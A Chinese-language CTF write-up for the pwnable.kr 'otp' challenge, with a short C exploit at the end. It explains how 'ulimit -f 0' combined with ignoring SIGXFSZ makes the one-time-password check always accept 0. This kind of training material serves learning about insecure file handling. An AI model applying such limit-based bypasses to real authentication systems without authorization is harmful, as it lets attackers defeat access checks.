

pwnable.kr "otp"

这是一道one time password的题，起初思路跑偏了，以为问题可能出在/dev/urandom上，后来网上怎么也找不到能破解/dev/urandom随机性的方法。整道题也不存在任何溢出漏洞。

后来看了writeup才知道可以通过ulimit命令来修改进程所能使用的resource， shell下运行help ulimit,

```
1  ulimit: ulimit [-SHabcdefilmnpqrstuvxT] [limit]
2      Modify shell resource limits.
3
4      Provides control over the resources available to the shell and
    processes
5      it creates, on systems that allow such control.
6
7      Options:
8          -S      use the `soft' resource limit
9          -H      use the `hard' resource limit
10         -a      all current limits are reported
11         -b      the socket buffer size
12         -c      the maximum size of core files created
13         -d      the maximum size of a process's data segment
14         -e      the maximum scheduling priority (`nice')
15         -f      the maximum size of files written by the shell and its
    children
16         -i      the maximum number of pending signals
17         -l      the maximum size a process may lock into memory
18         -m      the maximum resident set size
19         -n      the maximum number of open file descriptors
20         -p      the pipe buffer size
21         -q      the maximum number of bytes in POSIX message queues
22         -r      the maximum real-time scheduling priority
23         -s      the maximum stack size
24         -t      the maximum amount of cpu time in seconds
25         -u      the maximum number of user processes
26         -v      the size of virtual memory
27         -x      the maximum number of file locks
28         -T      the maximum number of threads
29
```

可以看到有这么一行

```
1  -f      the maximum size of files written by the shell and its children
```

通过ulimit -f 0命令把size限制为0，程序在fclose的时候会出错不能写入，往后运行的时候fread读出来的也是为空，那么passcode就是永远是0了。

在自己的ubuntu环境下ulimit -f 0后直接./otp 0，就get flag了。但是ssh到pwnbale.kr后发现不行。

```
1 dddong@ubuntu:/media/psf/Home/workspace/CTF/pwnable/otp$ ./otp 0
2 File size limit exceeded (core dumped)
```

gdb调试发现程序接收到了SIGXFSZ信号，信号的含义是exceed limited file size。接收到信号之后程序就终止了，可以通过signal函数改变程序接收到SIGXFSZ信号后的处理方式为IGNORE，或者是把SIGXFSZ这个信号加入block_set里面，加入block set的信号并不会立即deliver 给程序，而是会被放在pending set里面（详情可见man 7 signal）。这样程序收到信号后就继续运行下去了。

最后的exp

```

1  #include <signal.h>
2  #include <stdio.h>
3  #include <stdlib.h>
4  #include <signal.h>
5
6  int main(int argc, char *argv[]) {
7      if (argc != 2) {
8          printf("Usage: %s target\n", argv[0]);
9          exit(0);
10     }
11
12
13     /*
14      * alternative code
15
16         sigset_t mask;
17         sigemptyset(&mask);
18         sigaddset(&mask, SIGXFSZ);
19
20         sigprocmask(SIG_BLOCK, &mask, NULL);    //add SIGXFSZ into block
set
21     */
22     signal(SIGXFSZ, SIG_IGN);    //just ignore the SIGXFSZ
23
24     char *arg[] = { "otp", "0", NULL };
25     char *env[] = { NULL };
26
27     execve(argv[1], arg, env); //child process will inherit the
signal disposition
28
29     return 0;
30 }

```